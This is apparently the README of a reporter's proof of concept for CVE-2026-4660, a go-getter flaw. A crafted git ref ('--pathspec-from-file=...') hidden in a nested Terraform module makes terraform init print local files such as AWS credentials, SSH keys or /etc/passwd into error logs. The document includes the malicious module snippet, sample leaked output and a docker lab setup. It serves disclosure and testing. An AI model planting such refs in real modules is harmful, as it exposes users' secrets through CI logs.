
PoC for CVE-2026-4660: arbitrary file read via git checkout in hashicorp/go-getter
Proof of concept for CVE-2026-4660 (HashiCorp advisory) in hashicorp/go-getter. I'm the original reporter.
An attacker publishes a Terraform module with a ref of --pathspec-from-file=/path/to/file. When the victim runs terraform init, go-getter clones the repo and calls git checkout --pathspec-from-file=/path/to/file. Git reads the target file line by line, fails on each line as a pathspec, and dumps the contents in its error output. The malicious ref is inside the attacker's module source, not in the victim's own config. terraform init fails with a module download error; the credential values appear embedded in git pathspec errors in the output. No apply needed.
The vulnerability exists in two code paths in the go-getter library. clone() is taken when the destination directory is absent; is taken when it exists. Both call the same . defers on error; does not, so the directory survives the failed checkout.
update()checkout()clone()os.RemoveAll(dst)update()Terraform's module installer (initwd/module_install.go:251) always calls os.RemoveAll on the destination before invoking go-getter, so terraform always triggers clone(). Packer, Nomad, and any tool calling go-getter's API directly against a pre-existing directory will trigger update() instead. The PoC demonstrates both paths.
Affects all tools using go-getter: examples include Terraform, Nomad, Packer, Waypoint.
Fixed in: go-getter v1.8.6 (no Terraform release yet incorporates the fix as of 2026-04-10) Severity: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Attacker publishes a legitimate-looking Terraform module on GitHub, for example an AWS VPC module with real, working code. Buried inside, a submodule source points to a second attacker-controlled repo with the malicious ref:
# inside attacker's module; victim never reads this file
module "internal" {
source = "git::https://github.com/attacker/tf-internal.git?ref=--pathspec-from-file=/home/runner/.aws/credentials"
}
Victim adds the top-level module to their config:
module "vpc" {
source = "git::https://github.com/attacker/tf-aws-vpc.git"
}
They run terraform init, either locally or in CI. go-getter clones the top-level module, finds the nested submodule, clones that too, and calls git checkout --pathspec-from-file=/home/runner/.aws/credentials. Git reads the file and the contents appear in terraform's error output:
│ Error: Failed to download module
│
│ error: pathspec 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE' did not match any file(s) known to git
│ error: pathspec 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' did not match any file(s) known to git
Note: [default] is stripped by terraform's colorstring renderer even with -no-color (interpreted as a style reset token) and appears as an empty pathspec '' in the actual output. The raw git checkout output in the PoC shows the unmangled content.
The attack is not limited to credential files. Any file readable by the process is a target: /etc/passwd, CI token files, application configs, anything accessible from the runner. The PoC demonstrates ~/.aws/credentials, ~/.ssh/id_rsa, and /etc/passwd.
In GitHub Actions, CircleCI, or any CI system that logs terraform init output, those logs are readable by everyone with repo access, and often exported to log aggregation (Datadog, Splunk, etc.) with no expiry. The victim's AWS credentials, SSH keys, or any other file readable by the runner end up in the log history. The victim sees a failed build; the credential values are buried in what looks like a git error.
docker compose up --build
Two containers: gitserver serves the attacker's bare git repos over HTTP, poc runs as user runner with fake credentials at ~/.aws/credentials, ~/.ssh/id_rsa, and a readable /etc/passwd. Phase 1 runs terraform init and demonstrates the clone() path; a sentinel check confirms the module directories are deleted by clone()'s deferred RemoveAll on failure. Phase 2 directly exercises go-getter's update() call sequence (fetch + checkout) to show the same checkout() vulnerability fires and that the directory survives, consistent with the absence of a RemoveAll defer in update(). No interaction needed.